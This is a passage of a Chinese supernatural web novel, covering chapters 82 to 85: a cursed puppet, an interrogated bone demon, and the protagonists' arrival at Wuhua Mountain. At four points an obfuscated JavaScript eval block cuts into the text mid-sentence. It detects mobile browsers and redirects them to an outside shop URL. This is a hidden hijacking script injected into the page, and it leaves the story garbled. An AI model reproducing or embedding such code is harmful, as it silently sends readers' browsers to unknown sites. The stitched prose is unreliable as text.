地下室的位置不隐蔽,只要往一楼厨房的侧边走过去,就能看到。只是林眠平时基本不走到这儿来,加上没人做饭,也就没人发现了。 地下室有壁灯,林眠跟着文忱,走下楼梯,就到了一个十分宽敞的室内。但这个室内的装饰林眠不是很喜欢,看着有些压抑,特别是到处都摆满了…人偶? 木头雕刻的人偶,林眠以前还挺喜欢的,但在这幽暗的地下室,她觉得有些瘆人。 “这里的人偶,你挑一个。”文忱突然对林眠说。 林眠没反应过来,问:“挑一个?” “嗯,你喜欢哪一个?”文忱走到一个木偶旁边,摸了摸,给它擦擦灰。 林眠看了看周围的木偶,竟然认真挑了起来。这里每个木偶都不一样,脸上的神情、身体的动作都不一致。 她看了看,大约几分钟,就从中挑出一个穿着蓝紫色衣服的小木偶。 “你喜欢这个?”文忱问,“为什么?” “它脸上的表情看着很乖巧,但…”林眠顿了一下,“给人的感觉很乖巧,但我觉得,它不是那么乖巧的。” “那你还选。”文忱笑着说。 林眠看向文忱:“可这么多里面,只有它让我第一眼挪不开。” “那你拿着吧。”文忱说着,就要往上走,出地下室。 林眠看了看周围,又看着手上的人偶,只好连忙跟着文忱出去。她还没想明白,文忱这么一大早把自己叫醒,就是为了送自己一个人偶吗? 出了地下室,天都亮了。 “我还要去公司处理一下事,这几天不会过来了。你们出发去五华山,给我发消息就行,老爷子也在那一边,我昨晚问了他,他说五华山没发生事情。”文忱跟林眠说。 林眠点点头,欲言又止地想问这个人偶的事,但文忱已经快步走出文家。 她只好拿着人偶,仔细地端详着,这个人偶做的真精致啊。 “你手上的是什么?”瞿木下来,看到林眠拿着个东西在发呆。他加快了脚步,走到林眠身边,看了下,“人偶?” “嗯,文叔给我的。”林眠回答。 瞿木看着这个人偶,看着看着,视线就停留在人偶的眼睛上,虽然他的心里不知道为什么开始发毛。 他连忙躲开视线,用手抚上胸口,心跳的有些快。 林眠看向瞿木,见他不太舒服,说:“怎么了?” “这人偶不太对劲。”瞿木说道,仅仅对视几秒,他就觉得自己的魂魄都乱了。 “啊?”林眠看向人偶,抓着晃了晃,又翻了翻,都没觉得有什么问题,“这怎么了?没问题呀。” 她拿正人偶,与人偶对视。 “别看它的眼睛。”瞿木说道,他刚刚就是和人偶对视才这样的。 林眠没听瞿木的,她一直看着人偶的眼睛,只觉得这眼睛画的真好,这么传神。她盯了一分钟后,才移开视线,和瞿木说:“你看,没事。” 瞿木抿着唇,不知道该怎么说好。难道真是自己的问题?他不信邪,将林眠把人偶的眼睛再对着自己,他再对视试试。 但是这一次,没反应。 林眠看这都好几分钟了,也没出现啥症状,就不陪瞿木玩了,说:“我们去找秦宁吧,不知道方艾说了什么。” 她蹭蹭地爬上楼梯,回到房间里,把人偶放起来,打开背包的时候才发现菌人也在里面。 “你回来了。”林眠捧起菌人,开心地说,“文叔也不告诉我一声。” 她连忙搓了两个大蘑菇给菌人吃。 瞿木站在门口,看着林眠身边的小宠物越来越多了,忍不住吐槽说:“你身上这小玩意越来越多了。” 他还是觉得这个人偶不太对劲。 “哪有?”林眠不服气地说,她也就只有菌人,以及现在多了个人偶。只是文叔不肯告诉自己为什么要送她人偶。 她也只能先收着。 她放好人偶后,就跟瞿木一起去找秦宁。 书房里,秦宁正在审问方艾,现在两人对视着。 “你不必怀疑我说谎,你可以去了解一下张家,就知道我说的了。”方艾沉稳地说着。 瞿木走进来,问秦宁:“她说什么了?” “张峭真要自杀,你是怎么提前一天知道的?并透露给我们。”秦宁觉得这些事情都太蹊跷了,且不符合常理。 “我说了,我不知道。”方艾摇摇头,“那天的事,我根本不清楚,你想要问,应该问我身体里的骨妖。” 瞿木和林眠对视一眼,两人都有些无奈。 方艾见他们不信,索性直接说:“你们不信我,那我就让你见见骨妖。” “怎么见?”林眠刚开口,就见方艾浑身抽搐,眼睛翻白,看着就像是快要昏过去了,大概十几秒,方艾的眼神就变了。 瞿木往后退了一步,拉着林眠,低声说:“这眼神看着就妖里妖气的。” “啊~啊~”方艾瞪着眼,张着嘴,身体用力地向前。 “这骨妖会不会说人话啊?”瞿木看着方艾这副模样,问秦宁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182664|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦宁站在旁边,不为所动地说:“这只骨妖心性未定,浮躁,相对来说,精神力较弱,难怪身体里抢不过方艾。” 骨妖听了秦宁的话,更加暴躁了,脸上狰狞,感觉皮肤都要被他撕裂了。 “你别激怒它啊。”瞿木连忙说,这看得人怪害怕的。 林眠在旁边看着,问:“那能让它安静一些吗?” 秦宁一只手按住方艾的脑袋,一只手在她的额头处扭动了几下,就像是画了一个符号在方艾的额头上。 很快,方艾便停止挣扎了,但眼神还是没变,依旧恶狠狠地盯着他们。 “你不要害怕,我们只是有些事想要问你。”林眠安抚它说,在她看来,这只骨妖挺可怜的,从劳老太开始,似乎就一直被人操纵着。 瞿木看着林眠这么温声细语的,也不知道对这种妖物管不管用。 谁知,这只骨妖眼神竟然变柔和了一些,瞿木都怀疑是自己的错觉了。 “啊啊。”骨妖张着嘴,对着林眠,但样子并不凶恶。 “可是它好像真的不会说话,不会说话我们怎么问?”林眠看向秦宁,问他。 秦宁摇摇头,“妖物都会说人话,只是看它愿不愿意说。” “你能和我说人话吗?”林眠扭过头问它。 方艾脸上闪过一丝迷茫,虽然结巴着开口:“你…为什么…和…除妖…师在…一起?” “为什么不能?”林眠觉得它这个问题很奇怪。 “你可以和我说一下你的事情吗?”林眠问它。 秦宁和瞿木都在旁边没出声。秦宁看着林眠和骨妖相处的模样,思索了一下,看来骨妖是把林眠认为是同类了。 就和鬼蛾一样,在它们的眼里,林眠是同类。 骨妖或许是因为林眠的示好,才将自己知道的都说了出来。 它长时间都被控制在身体里,因此知道的事情不多。只知道最开始劳老太选中的是张峭,但后面劳老太不见了,它就被方艾给吃了。 之后它一直在挣扎,只有少数机会才能出来。 “我和她都知道,只要杀了你,我们就都能解放了。”骨妖说了一大段话后,语言系统熟练了,说话也不结巴了。 它这句话是解释了昨天为什么会对林眠出手。 林眠对这句话并不意外,他们都是受无支祁的控制才会这样。 “我不怪你,不是你们的错。”林眠说道。 和骨妖聊完之后,骨妖的意识就沉睡了,方艾醒来了。 “得到你们要的答案了吗?”方艾问他们。 “原本选中的是张峭,但后面为什么会变成你?”秦宁问。 方艾摇头,反问:“这你得去问那个人,是他主动来找我的。” “你以为,我想变成现在这个样子吗?” 秦宁看着方艾,犹豫了几秒后,还是在方艾的身上施下咒法,并说:“我在你身上施了咒,你现在可以回去,但一旦运用不属于你的力量,就会遭到反噬。” 说着,他解开方艾身上的绳子。 方艾挣脱开,站起身来,看了眼他们,就离开了。 “就这么让她走了?”瞿木问。 “嗯,没办法多留,方家那边发现女儿不见了,会找来。”秦宁回答。而且方艾现在没办法惹事,加上他还没有能够解决方艾身上问题的方法。 方艾的事就这么先告一段落。 83. 前往五华山 秦宁把方艾的事放到一边后,就忙着和秦家的人联络五华山那边的情况,得到的回答和文忱说的一样,没发现有什么异常。 但即便如此,秦宁也还是打算出发去五华山。 收拾行李的时候,林眠左手捏着菌人,右手提着人偶上车。 “你这塞进包里嘛。”瞿木说着,伸手接过菌人,比起人偶,他现在更喜欢菌人,这个人偶看着就不对劲。 坐在驾驶座上的秦宁看到后视镜里的人偶,问:“林小姐,这人偶是哪里来的?” 林眠上了车,正准备系安全带,见秦宁问,便抬起头回答说:“文叔让我拿的。” “你拿着有没有什么感觉?”秦宁接着问。 “感觉?没有呀。”林眠系好安全带,说:“就是…一个普通的人偶,做的很精致。” 瞿木在旁边插上一句:“秦宁,你也觉得这人偶诡异对不对?” “文家向来以操纵术闻名,之前也和你们说过傀儡匣。虽然我没见过,但是书中记载过,傀儡匣虽然叫匣,但实际上是一个人偶。”秦宁说着,也在仔细端详林眠手上的人偶,“根据描述的样子,倒是很像。” 林眠不太信,解释说:“文叔带我去的地下室,那里全是这种人偶,我只是挑了一个我比较喜欢的。” 文家的傀儡匣怎么会给自己? 瞿木听着他们说话,对这个人偶也端详了起来,不过他还是不太想去看这人偶的眼睛,瘆得慌。 林眠将人偶放好在车子的把手处,刚好能让人偶在这里待着。 “你这是当装饰品啊?”瞿木看了,忍不住说。 “人偶本来就是装饰品嘛,在这放放不行吗?”林眠问瞿木,谁让这辆车是瞿木的。 瞿木能说什么,他向来是不能拒绝林眠的,便只好点头答应了。 秦宁也没多说什么,毕竟这是文家的事,他也不好多过问,于是一脚踩上油门,就出发了。 五华山离梧州不算远,只是也要进山一段路程。 瞿木看着地图导航,一看到山路,他就抱怨:“又是山里面啊?我们每次路过山都没好事情。” “五华山是灵气聚集的地方,那里很多修道之人,也有心地善良的妖物,但凡有歹心的妖物早早就被收服了。”秦宁解释说。 林眠在旁边喂菌人,听着他们说话,也插上一句:“况衍君让我们去五华山是有什么事情吗?无支祁不是在海里面吗?” “无支祁虽然身体在海里,但它应该已经能让灵体出来活动了。”秦宁说道,“这次去五华山,那里长者众多,多是道行深之人,恐怕是别有意图。” “什么意图?”瞿木问。 秦宁唯一能想到的就是… 他思索了一下说:“灵气是我们修炼之人必不可少的,许多妖物为了提升自身能力也需要灵气,但有一些走歪门邪道的妖物,它们所需要的就是这世间的浊气,因此而在世上作乱。” “无支祁…从它的行为来看,应该是吸食浊气的妖物,五华山对它来说是极其不利的。” 林眠歪着头,“那为什么还让我们去五华山呢?” “所以我在想,况衍君会不会是…站在我们这一边的?”秦宁说道,这也是他必须要去五华山的原因,想要一探究竟。 “怎么可能?”瞿木嘴上反驳着,但心里也开始有点相信了。他自从身体里融了银木之后,根本没发挥能力,是况衍君让自己发现的。 虽然他受了点苦,但…确实获得了不少。 林眠也觉得是,至少况衍君没做出什么事来,而且…她下意识的觉得,况衍君和自己…存在着一层说不清、道不明的关系。 就是那么一种感觉,她时常觉得是自己的错觉,又不明白为什么会产生这样的感觉。 秦宁开车到五华山,一路上顺风顺水,一点意外都没出,沿着山路往前开。开到半山腰,一处较为平坦的地方,秦宁就将车子停了下来。 林眠睡了一觉,车子一停下,她就醒过来了。她透着车窗,看到落在车窗上的雪花、树都穿上了白色新衣,一眼望去,雪白一片。 “下雪了!”林眠迫不及待地打开车门,想要下去,却被瞿木一把拉住。 “别着急,先把围巾戴好。”瞿木早就准备好了围巾,给林眠戴上。 林眠也没动,乖乖地让瞿木给她戴上围巾,戴好后,她就迫不及待的下车了,在地面上跑动了几下。 秦宁在原地站了会,看林眠玩的差不多了,才开口说:“车只能停在这里,我们要步行一段路,到那边的住宅区。” “这山里面还有住宅区啊?”瞿木问。 “师父他们平时就住这一边。”秦宁简单回答,就提起行李,往前走。 林眠也玩够了,连忙和瞿木跟着秦宁走。 大概走了三十分钟,才走到住人处,也刚好天黑了。 那一边都亮起了灯,黄色的灯光在这寒冷的冬季里,十分的显眼。 秦宁走到一间屋子处,敲了敲门。 开门的是一个留着长胡子的老人家,胡子雪白雪白的,他看到秦宁,脸上露出欣喜的表情,和秦宁热情的聊了几句,就带他们到后面的一栋一层小平楼处。 “这里我都打扫干净了,你们住这儿。” “师兄他们还在小聚喝酒,你们现在还是被过去了。”陈爷爷热情地说,虽然头发雪白,但看得出来精神很好。 秦宁点头,“好。” 陈爷爷弄好了一切,就离开了。 “陈爷爷今年多大了?”林眠问,她还是第一次见头发这么白的老人家,但陈爷爷脸上皮肤饱满,面色红润,看着不像是那么老的人。 秦宁想了一下,“应该九十有余。陈爷爷从小就待着五华山,负责打理各门派在这的修行事宜。” 瞿木倒是好奇地问:“是不是住在这儿的人都比较长寿?” “嗯,居住在五华山的都是修道之人,山脚下住着一些村民,都很长寿。”秦宁边回答,边说:“这里刚好有三间房,我住这一间。” “好。”瞿木点头。 林眠也提着自己的行李挑了个房间进去。 她把东西都放好,再把要用的都拿出来。况衍君留下的纸条写的是1月1日,他们提前两天到了,至少要在这里住三天以上。 林眠收拾了会,一回头,发现被自己放到桌子上的人偶好像有些不太对劲。 “奇怪。”林眠走上前,把人偶挪了一下,她刚刚明明是把人偶正放着的,怎么转过脸去了? 也许是自己太忙了,才记错了吧。林眠心想着,又把人偶摆正了一下,才离开房间去找瞿木。 瞿木正在厨房里。 “好香啊,你在煮什么?”林眠闻着香味往厨房走。 瞿木回头看了眼林眠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192012|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“煮面,这里啥也没有,刚刚那个陈爷爷给了我一点蔬菜瓜果和面条,让我们凑合一下。” 他刚刚把行李拿回房,就肚子饿了,毕竟今天就只吃了一顿。他去找了陈爷爷,陈爷爷就给了他这一些,还说食物都要从山下运上来,有时间最好还是自己去山下买。 “好,你煮的面好吃。” 林眠不挑食,给什么吃什么。她凑到厨房边,给瞿木打下手。 等他们两个煮好面,秦宁也从外面回来了,进来的第一句话就是汇报情况:“我刚刚去周围看了一下,还找了师父他们问了下情况。” “最近一点异常都没有,也没有奇怪的人来这边。” “哦,先吃面吧。”瞿木把面端到桌子上,说。 林眠也端着自己那碗热气腾腾的面到桌上,拿起筷子准备开吃。山上气温还是偏低了,即使在屋里,她也觉得也有些冷。 “嗯,谢谢。”秦宁脱下厚重的外套,也坐下一起吃面。 热汤热面吃进肚子里,感觉浑身都暖洋洋了。 吃完之后,秦宁主动去洗碗。 “要不,我发个消息给况衍君吧?”林眠坐在沙发上问。毕竟是况衍君让他们来的,问一下说不定能得到回复。 瞿木坐在旁边玩手机,一听到林眠的话,立马坐直了问:“发了他会回吗?” “不知道,但是试试嘛。”林眠说着,快速在手机上敲字,然后发送出去。 “你发的什么?”瞿木要凑上来看,林眠就大大方方给他看。 秦宁洗完碗走过来,也问:“回了吗?” “没有。”林眠回答。 大伙儿等了一会,还是没有收到回复,就都准备去睡觉了。 林眠回到房间,第一眼看到桌上的人偶,又背对着了。她思考了两秒,随后过去摆正,正脸对着自己,再离开房间。 大约几秒,再倒回来,人偶又背着了。 她试了几次,都是这样。 “瞿木,秦大师,你们快来!”林眠发现后,第一反应就是把他们叫过来。 “怎么了怎么了?”瞿木刚脱了一件衣服,就听到林眠的声音,连忙出来。 没两秒,秦宁也从屋里出来,有些疑惑地看向林眠,问:“林小姐,怎么了?” “这个人偶真的不正常,它会动!”林眠连忙说,还偷偷探头看向屋子里的人偶。 “我就说这个人偶不正常。”瞿木第一反应就是这。 秦宁走进林眠屋里,看着那个人偶,伸出食指点在人偶额头上。仅仅几秒,他就感受到了一股不同寻常的力量。 他立马收回了手,看向那个人偶,恍惚之间,他竟然觉得这个人偶在朝自己笑,那种不怀好意、嘲讽的笑。 “怎么了?”林眠问。 秦宁摇摇头,说:“这个人偶不是寻常的人偶,它的身体里…藏着别的东西,我不清楚是什么。” “那我们拆开看看?”瞿木问。 秦宁瞪了眼瞿木,说:“这种人偶就是容器,破坏了身体,容器就坏了。”他说着看向林眠,“这人偶既然是文忱给你的,肯定不会伤害你。” “但至于怎么使用,你明天可以去问问文家掌门人,他现在就在五华山。” 林眠点头,也能这样了。 瞿木没吭声,文家人还能害林眠不成?毕竟这几天文忱的行为看起来就不像是。 84. 五华山的一天 第二天一大早,林眠就起来了。 昨晚这人偶还是背对着的,不肯把正脸对过来。 经过一晚上,林眠也不害怕了。早上起来的时候,还有些恶趣味地把人偶又摆正对着自己,玩了一下。 玩着玩着,她突然想到… 人偶是不是想要照镜子?林眠看着镜子里的自己,又低下头看向桌上的人偶,这里也没有别的,只有镜子。 她这么想着,就顺手给人偶整理了一下衣服,再将它放在镜子面前,让它的脸正对着镜子,喃喃道:“这样可以吗?” 弄好后,林眠才出房间门。 外面还灰蒙蒙一片,雪已经堆满了一地。 看来昨夜下了一整夜的雪。林眠撸起袖子,打开厨房的灯,看了眼厨房里有的材料,准备给瞿木他们煮早餐吃。 依旧还是只有面。 林眠下好面条,就去叫瞿木他们起床,敲秦宁门的时候才知道,秦宁已经出去了。她又给秦宁发了信息,问他回不回来吃早餐。 “况衍君还没回你啊?”瞿木坐在餐桌旁,打着哈欠问林眠。 “没有,估计不会回我了。”林眠回答。 她将面条端着瞿木,瞿木坐正了去接,说:“没事,后天就1月1号了,这两人就在这儿待着吧,当旅游了。” “嗯嗯。”林眠点头。 瞿木吃着面条,想的是这两天得好好练习一下如何使用银木,况且这里大佬云集,也可以让他们教一下自己。 林眠的想法就单纯多了,她觉得五华山的风景很好,等会吃完面,她就出去玩雪去。 “我回来。”秦宁穿着冲锋衣走进来,他有每天早起跑步的习惯。 林眠连忙站起身,准备去给秦宁下面。 “不用,我来就行。”秦宁拦住她,是自己回来的比较晚。 林眠也没抢着,只是指了指一旁保温着的浇头,说:“浇头我弄好了,你下面就行。” “嗯。”秦宁应答。 瞿木和林眠率先吃完,收拾收拾就一起出门去了。 “你要去哪呀?”林眠问瞿木。 “不知道啊。”瞿木回答,“我跟你出来的。” “哦,我要去这附近转转,你也要去吗?”林眠仰起头问瞿木。 瞿木低下头看着带着帽子和围巾的林眠,包的这么严实,就像一只巨大的毛绒玩具一样,他一下没忍住,就伸出手揉了揉林眠帽子上的线球。 “你干嘛?”林眠扭了一下头,躲开瞿木的蹂躏,说:“会弄乱的。” “这不是太毛茸茸了么?”瞿木笑着说,“你什么时候买的这么多毛的衣服?” 林眠把毛绒帽子重新戴好,说:“在梧州的时候,我在网上买的,网购。” 只是梧州没那么冷,她没机会穿,现在来到五华山了,就可以穿了。 “行,挺适合你的。”瞿木又没忍住拍了一下。 林眠撇了一眼瞿木,没吭声。她心里并不抗拒瞿木的行为,也不讨厌,只是说:“你今天准备干嘛?” “练习。”瞿木陪着林眠往前走。 “练习?”林眠不解。 “对啊。”瞿木踢了一下地上蓬松的雪,说:“我自从学会了怎么操控银木,但是感觉练习的不够,想要练得更好一些,发掘一下潜力。” 林眠明白了,听了瞿木的话,她也觉得自己对菌丝的操控能力很弱,她只知道如何把菌丝甩出去、然后把别人捆起来,还会搓点蘑菇什么的,别的也不会了。 “那我也学学。”林眠说。 “学!”瞿木说,但是现在还有一件事要干,“我们不需要去找一下文老爷子吗?好歹也在这里。” 瞿木没好意思说文老爷子好歹也是林眠血缘上的爷爷。他不确定林眠喜不喜欢这个说法。 林眠愣了一下,才说:“去呀。” 他们先去找了陈爷爷,得知文老爷子的住处,再去拜访。出发之前,瞿木突然往停车的方向走去。 “怎么啦?”林眠喊他。 “拿点伴手礼。”瞿木边说边在车子的后备箱翻。来的时候,一路上路过不少农家,他就买了一些水果啥的。 昨晚他还忘记拿出来了,好在天气冷,不会坏。 林眠歪着头,看着瞿木提着一大袋水果下来后,再一起去找文老爷子。 去到文老爷子的住处时,文老爷子正在门口打太极拳。 “文爷爷,您起这么早啊?”瞿木一见到文老爷子,脸上都是笑容,语气也热情极了。 林眠诡异地看了眼瞿木,怎么感觉瞿木对文爷爷过于热情了? 文老爷子见到他们,特别是瞿木那热情的模样,原本想要冷着的脸也没法冷了,但也不能表现出开心,只是冷着脸的点下头,说:“你们来了。” “还算是孝顺,知道来看我这个老头子。” “您哪里老啊?刚刚那太极拳,那些大学生打起来都没你刚柔并济。”瞿木笑着说,还把手上的水果晃了晃。 文老爷子好歹见过风雨,他撇了一眼站在旁边一脸懵逼的林眠,又看向瞿木,摆了摆手说:“进来坐会儿吧。” “好嘞。”瞿木点头,还朝林眠示意,赶紧进来。 大家伙坐在屋子里,文老爷子给他们倒上热水,说:“我来五华山也有一周了,跟秦家柳家的人商讨了一下无支祁的事情。” “他们也在暗中调查了很久,可惜,抓不到什么蛛丝马迹。至于无支祁所在的那片海域,也让人去查了,毫无结果。” 瞿木这次来找文老爷子,一方面是因为林眠的关系,他想着这些天文忱为人不错,而且林眠现在身边确实没有亲人了,要是能跟文家相认,也是有个照应。 文老爷子主动提起无支祁的事,前两天他也从文忱那收到了消息,知道此次他们前来五华山的原因。 也不知道对方的目的是什么,因此,他还是要先和林眠他们打好预防针。 “这两天你们两个尽量别离开的太远,就在这山上待着。 “我们这里也有不少人在,保护你们还是绰绰有余。” 林眠听到“保护”二字,不知道为什么有些异样地感觉,她的嘴比她的脑子更快地问出口:“为什么要保护我们?” 文老爷子撇了一眼林眠,说:“你们虽然不是普通人,但是和妖物对战经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197164|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,这无支祁又狡猾,怕是要吃亏。” 更主要的是,无支祁是奔着杀死他们来的。 林眠这倒不否认,无支祁和之前遇到的妖物都不是一个级别的。光光是和雕塑对视的那一眼,她就知道了。 瞿木就要上道得多,立马夸赞起文老爷子和这里的什么秦家、柳家、别的家来。 “你小子今天怎么油嘴滑舌的?上一次不还要死要活的吗?”文老爷子虽然很受用,但还是板着脸说。 “这不是幡然醒悟了吗?”瞿木说道。 他后面细细品味了文老爷子的话,发现之前只是想要吓吓他,并没真打算把他当成祭品。属于是恶趣味了。 文老爷子心情也好了一些,他的视线总是停留在林眠身上。 林眠被他看的不自在,就一直躲闪。 “你和文恪…长得还真不怎么像。”文老爷子突然冒出这么一句话。 林眠看了眼文老爷子,没吭声。她看过照片…也看过妈妈的日记,不管是照片还是日记,爸爸都是温文儒雅的形象。 和自己确实不太像。 瞿木出来打圆场,让氛围别沉默下来。 文老爷子还是挺喜欢瞿木的,虽然看着吊儿郎当的,不太靠谱,但会说话,油嘴滑舌的,和他爷爷年轻的时候倒是一个模样。 聊着聊着,话题就到了况衍君身上。 “你们说的那个况衍君,我也去了解了一下,这个人有些奇怪。”文老爷子说,“不知道他什么来历,身上也没有妖气。” “但据他们所说,他有一段时间也在五华山修炼,说是很有天赋,当时可多人想收他为徒了,不过都被拒绝了。” 瞿木一听,抽了抽嘴角,这况衍君还真会哄老人开心。 “这个我爷爷说过,我爷爷就是在这儿认识的他。”瞿木说道,还把他爷爷哄得开开心心的。 “所以,我们分不清他的来历,还是要小心为妙。 “好在是在五华山,我们也有一定的把握让你们不会出事。”文老爷子说道。 林眠在旁边听着,思索了一下,从云泉酒店出来后,她就再也没有遇到过那样的情况了,只有劳老太身上的骨妖到了方艾身上。 虽然目标是为了杀了自己,但无支祁一直都没有直接出来过。 “或许,无支祁是不是根本没办法出来?”林眠试着说,“他到现在,唯一一次和他正面,也是在一尊雕塑里。” “说不定,他现在就在海底关着。” 文老爷子看着林眠,不否认,只是说:“它肉身还在海底,但谁也不能保证它有多少分身在这世上。” “分身?”林眠不解。 “像这种强大的妖物,是可以凝聚出分身在这世上行走的,但没有形体,所以它们会霸占人的身体,从而进行活动。”文老爷子解释说。 林眠明白了,但她身边也没有什么奇怪的人。奇怪的人…要么已经死了、要么已经确诊是妖物作祟。 三人又坐着聊了会儿,瞿木和林眠就离开了。 离开之后,瞿木就找了个安静点的地方,开始练习。林眠在旁边看,还陪着瞿木练习了一下对打。 85. 柳寂白归来 瞿木试了几下,感觉就长出一节银木来,实在没啥作用,这玩意不如菌丝好用,也没有菌丝灵活多变。 “你说我是不是找错方法了啊?”瞿木坐下来,问林眠。他练习了一上午,还是觉得怪怪的,作用不大。 林眠思考了一下,“银木也许不是打架用的?” “那是什么用?”瞿木愣住了,一点攻击力都没有,那要来干嘛?图它在自己身体里白吃白喝吗? “你看,”林眠拉着瞿木掰扯,“电视剧里面、动画片里面,每个人的能力都不一样的啊,有一些攻击性比较强,有一些是防御能力之类的。” 瞿木:……直接说他适合躲起来得了呗? “唉。”瞿木叹了一口气,“那算了,那还是用你的菌丝吧。” 虽然他没法直接操控菌丝,但是林眠操控自己的时候,身体就会变得很轻盈,一下子就能跳几米高。 “嗯嗯。”林眠点头,“都中午了,我们回去吧。” “好。”瞿木站起身,是时候该回去吃饭了。 两人一起回到住的小屋处时,才发现,小屋里站满了人。一眼看去,年纪基本都在五十岁以上。 “这怎么了啊!?”瞿木也懵住了,这么多人聚在这里要干嘛? 秦宁从人群中冒出个头来,他正端着一壶热水,说:“他们都是长辈,今天是来找林眠的。” 林眠从瞿木背后探出个脑袋,有些懵圈地看着他们,说:“找我?” “嗯。”秦宁点点头。 之后林眠就被他们围着,一个个在旁边做着记录,嘴上说着:“这个妖物还真是第一次见。” “人竟然可以利用妖物的能力。” “取个什么样的名字好?总叫菌丝是不是不合适?” 林眠听着他们讲话,脑袋嗡嗡的。 大概一个多小时,这些爷爷、伯伯们才都离开。 “不好意思,他们是因为第一次见到了新妖物,实在是好奇,才想过来看看,顺便记录一下。”秦宁和林眠解释说。 “没事。”林眠不是很在意。 瞿木在旁边打趣说,“你这都成为大明星了。” 林眠瞪了眼瞿木。 今天中午有菜有饭,都是山下送上来的。 吃完之后,大家围着茶几坐在一起,还没等人开口说话,外面就响起了敲门声。 林眠率先去开门,一打开门,就看到一张熟悉的面孔。 “柳大师!” “林眠。”柳寂白看到林眠,也是眼底闪过一抹惊喜,说:“你怎么又叫我大师了?” “你和秦宁一样,都是大师。”林眠回答。 说着,她拉着柳寂白往屋里走。 瞿木看到柳寂白,也笑着打了个招呼,说:“好久不见啊。” 秦宁抬起头,撇了一眼柳寂白,点头示意了一下。 “哟,秦大师还是这么大的架子啊。”柳寂白一屁股坐在了秦宁的对面,对着他说。 秦宁直接忽视柳寂白的这句话,问她:“这些天回柳家有收获么?” 柳寂白没有直接回答,而是看着他们每个人,视线在每个人身上转了一圈。 “快说啊,不要吊胃口。”瞿木说道,他们这可是发生了不少事。 林眠也很好奇。 “那自然是收获满满啊。”柳寂白说道。 “柳家的二当家,你的师伯,可是什么消息都没收到。”秦宁无情地说。五华山是各门派汇集之处,消息也最为灵通。 既然五华山都没收到,柳寂白那边就不可能有更多的消息。 “小看谁啊?我师伯是师伯,毕竟现在柳家的传人是我。”柳寂白把蛇骨伞往桌上一摆,仰头说。 “那你找到了什么?”林眠给柳寂白倒了杯热茶过来,好奇地问。 柳寂白有了台阶,才接过热茶,开口说:“因为我们柳家从十年前,无支祁有踪迹的时候就一直在追踪,不过没有花费太大的人力在上面。” “但是你们也知道,我们柳家供奉的是蛇神。”柳寂白说到这儿的时候,停顿了一下,思索着该如何解释。 秦宁大概明白她要说什么了,接过柳寂白的话茬说:“所谓蛇神,并非是神,而是一只强大的妖物。” “妖物的能力不一、强大程度也不一样。有些妖物会和人签订契约,从而成为类似于守护神一样的一种。” 林眠听的眼睛都亮了,问:“那柳家的蛇神岂不是很厉害?” “那是自然。”柳寂白朝林眠挑挑眉。 “像这种妖物一般都是有几千年道行的。”秦宁说道,突然他想到了什么,问:“难不成……” 柳寂白看向秦宁,笑而不语。 “难不成什么?”瞿木听得正是关键时刻,怎么突然不说了。 林眠也很好奇,“是什么?这和无支祁有关系吗?” “世上的妖物不少,但是道行深的妖物很少,特别是几千年的。”秦宁率先开口说,“因此,这些妖物之间…多多少少都互相认识。” 这么一说,瞿木和林眠也就明白了。 “不过,你们供奉的蛇神,会和你们交流这一些?”秦宁问,他们都是正派人家,不会供奉一只妖物当做家族守护神,自然也就无法知道柳家和蛇神之间的交流方法。 只知道,这种契约并不会太和谐相处。 “还有这种关系网啊?”瞿木脸上的惊讶之色毫不掩饰,并着急地问:“那你家蛇神怎么说啊?” 柳寂白粗略地解释了一下:“我这次回了老宅,去了供奉蛇神的寺庙处,在那儿住了几天。” “或许是运气好,我竟然和蛇神进行沟通了。” 柳寂白回想起来,还有些激动,虽然柳家供奉蛇神,利用的是蛇神的力量,但蛇神在她的心中虽然神圣,但也是极其陌生的。 更加让她没想到的是,蛇神会与自己沟通。 “沟通了什么?”秦宁问。 “祂和我说了无支祁与菌丝之间的渊源。”柳寂白回答。 “这个就和以前的地方记载的一致,传说大禹治水的时候发现河底的无支祁,为了防止祂水中作恶,便将无支祁囚禁于军山。” “这个军山,应该是现在的盖山。”柳寂白根据自己的理解说道:“在那儿,无支祁与菌丝相遇。” 瞿木一听,这都出现大禹治水了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 